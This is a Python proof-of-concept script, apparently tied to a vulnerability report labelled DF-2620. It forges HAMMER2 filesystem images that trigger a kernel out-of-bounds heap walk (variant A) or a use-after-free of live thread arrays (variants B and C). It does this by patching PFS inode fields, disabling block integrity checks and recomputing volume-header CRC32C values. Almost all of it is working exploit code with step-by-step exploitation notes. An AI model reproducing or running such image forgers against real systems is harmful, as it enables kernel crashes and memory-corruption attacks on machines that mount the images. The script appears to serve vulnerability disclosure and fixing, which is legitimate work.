#!/usr/bin/env python3
"""
DF-2620 PoC image forger.

Base image: newfs_hammer2 -L testvol (fresh, never mounted).

Variant A (up-direction, OOB thread-array walk):
    PFS inode "testvol": meta.pfs_nmasters 0x00 -> 0xFF
    -> pmp->pfs_nmasters = 255 (vfsops.c:527-528, no clamp)
    -> hammer2_xop_helper_cleanup() iterates thrs[0..254] over an array
       of HAMMER2_MAXCLUSTER(8) slots per group (admin.c:461-467)
    -> ~15.7KB of OOB heap scanned past the xop_groups allocation;
       garbage .td -> hammer2_thr_delete on OOB memory (bit-set write
       to garbage flags, thr->pmp=NULL write, kfree(garbage scratch),
       KKASSERT(TAILQ_EMPTY) panic on INVARIANTS builds).

    Variant B (down-direction, guaranteed UAF, single device):
    PFS inode "testvol": meta.pfs_type 0x06 (MASTER) -> 0x03 (SLAVE),
    pfs_nmasters left 0x00.
    -> single chain, 0 visible masters -> pmp->pfs_nmasters stays 0
    -> xop_helper_cleanup() loop runs ZERO iterations and kfrees
       xop_groups while all 36 live xop threads (created at mount by
       hammer2_mount_helper -> hammer2_xop_helper_create) are still
       running inside the freed array.
    (Observed: a lone SLAVE pmp is not quorate, so VFS_ROOT loops
     forever at vfsops.c:1966-2008 -- use variant C for a usable mount.)

    Variant C (down-direction, guaranteed UAF, usable 2-device cluster):
    out.img is a CLONE of base with meta.pfs_type 0x06 (MASTER) ->
    0x03 (SLAVE) only.  Mount "vn0:vn1@testvol" = base(MASTER,
    pfs_nmasters=0) + clone(SLAVE, pfs_nmasters=0), same pfs_clid.
    -> nchains=2, visible masters=1 -> count-bump gives
       pmp->pfs_nmasters = 1 < nchains = 2
    -> quorum = 1/2+1 = 1, satisfied by the single MASTER -> mount,
       ls and umount all work normally
    -> xop_helper_cleanup() deletes only the thrs[0] column (clindex 0)
       and immediately kfrees xop_groups while the thrs[1] column
       (the SLAVE chain's 36 xop threads) is still alive INSIDE the
       freed array; pfsdealloc's own cleanup (vfsops.c:655-661) is
       skipped because pmp->xop_groups is already NULL.

CRC handling (technique proven in DF-2616): set methods=0x00
(CHECK_NONE) on the volhdr sroot bref and on the PFS inode bref inside
the sroot block, so neither the (patched) sroot block nor the (patched)
PFS inode block is ever check-verified; recompute the 3 volume-header
CRC32Cs.
"""
import struct, sys

# ---------------- CRC32C (matches sys/libkern/icrc32.c) --------------------
def _mk():
    poly = 0x82F63B78
    t = []
    for n in range(256):
        c = n
        for _ in range(8):
            c = (c >> 1) ^ poly if (c & 1) else (c >> 1)
        t.append(c)
    return t
_T = _mk()

def iscsi_crc32(data):
    crc = 0xFFFFFFFF
    for b in data:
        crc = _T[(crc ^ b) & 0xFF] ^ (crc >> 8)
    return crc ^ 0xFFFFFFFF

assert iscsi_crc32(b"123456789") == 0xE3069283

RADIX_MASK = 0x3F
BREF = 128
INODE_DATA_BLOCKSET = 0x200
OFF_PFS_NMASTERS = 0x86
OFF_PFS_TYPE = 0x87
T_EMPTY, T_INODE, T_INDIRECT = 0, 1, 2

def bref_parse(buf, off):
    t, methods = struct.unpack_from('<2B', buf, off)
    key, mtid, modtid, doff, utid = struct.unpack_from('<QQQQQ', buf, off + 8)
    return dict(type=t, methods=methods, key=key, data_off=doff, off=off)

def recompute_volhdr_crcs(buf):
    c1 = iscsi_crc32(bytes(buf[512:1024]))
    struct.pack_into('<I', buf, 0x1E0 + 6 * 4, c1)
    c0 = iscsi_crc32(bytes(buf[0:508]))
    struct.pack_into('<I', buf, 0x1E0 + 7 * 4, c0)
    cv = iscsi_crc32(bytes(buf[0:0xFFFC]))
    struct.pack_into('<I', buf, 0xFFFC, cv)

def main():
    if len(sys.argv) != 4 or sys.argv[2] not in ('A', 'B', 'C'):
        print("usage: forge_df2620.py <base.img> <A|B|C> <out.img>")
        sys.exit(2)
    base, variant, out = sys.argv[1:4]
    img = bytearray(open(base, 'rb').read())
    volhdr = img[0:0x10000]
    assert struct.unpack_from('<Q', volhdr, 0)[0] == 0x48414D3205172011

    # locate sroot block via volhdr root_blockref (offset 0x200)
    sroot0 = None
    for i in range(4):
        br = bref_parse(volhdr, 0x200 + i * BREF)
        if br['data_off']:
            sroot0 = br
            break
    sroot_blk = sroot0['data_off'] & ~RADIX_MASK

    # find the "testvol" PFS inode bref under sroot (direct + indirect)
    pfs_bref = None

    def try_child(br):
        nonlocal pfs_bref
        if br['type'] != T_INODE or not (br['data_off'] & RADIX_MASK):
            return False
        iblk = br['data_off'] & ~RADIX_MASK
        name_len = struct.unpack_from('<H', img, iblk + 0x80)[0]
        fname = bytes(img[iblk + 0x100:iblk + 0x100 + max(name_len, 1)]).split(b'\0')[0]
        if fname == b'testvol':
            pfs_bref = br
            return True
        return False

    def walk_indirect(blk, radix, depth):
        nslots = min((1 << radix) // BREF, 1024)
        for i in range(nslots):
            br = bref_parse(img, blk + i * BREF)
            if br['type'] == T_EMPTY:
                continue
            if try_child(br):
                return True
            if br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK) and depth < 4:
                if walk_indirect(br['data_off'] & ~RADIX_MASK, br['data_off'] & RADIX_MASK, depth + 1):
                    return True
        return False

    for i in range(4):
        br = bref_parse(img, sroot_blk + INODE_DATA_BLOCKSET + i * BREF)
        if try_child(br):
            break
        if br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK):
            if walk_indirect(br['data_off'] & ~RADIX_MASK, br['data_off'] & RADIX_MASK, 1):
                break
    assert pfs_bref, "testvol PFS inode not found"

    iblk = pfs_bref['data_off'] & ~RADIX_MASK
    print("[forge] sroot bref @volhdr+%#x (methods %#x -> 00)"
          % (sroot0['off'], sroot0['methods']))
    print("[forge] testvol inode bref @%#x (methods %#x -> 00) -> inode blk @%#x"
          % (pfs_bref['off'], pfs_bref['methods'], iblk))

    if variant == 'A':
        print("[forge] A: pfs_nmasters %#x -> %#x"
              % (img[iblk + OFF_PFS_NMASTERS], 0xFF))
        img[iblk + OFF_PFS_NMASTERS] = 0xFF
    else:
        # B (lone slave) and C (slave clone for a 2-device cluster):
        # patch pfs_type MASTER -> SLAVE, keep pfs_nmasters 0
        print("[forge] %s: pfs_type %#x -> 0x03 (SLAVE), pfs_nmasters=%#x (kept 0)"
              % (variant, img[iblk + OFF_PFS_TYPE], img[iblk + OFF_PFS_NMASTERS]))
        img[iblk + OFF_PFS_TYPE] = 0x03        # HAMMER2_PFSTYPE_SLAVE
        assert img[iblk + OFF_PFS_NMASTERS] == 0

    # CHECK_NONE the whole path: volhdr sroot bref + PFS inode bref
    struct.pack_into('<B', img, sroot0['off'] + 0x01, 0x00)
    struct.pack_into('<B', img, pfs_bref['off'] + 0x01, 0x00)

    recompute_volhdr_crcs(img)
    open(out, 'wb').write(img)
    print("[+] wrote %s (variant %s)" % (out, variant))

if __name__ == '__main__':
    main()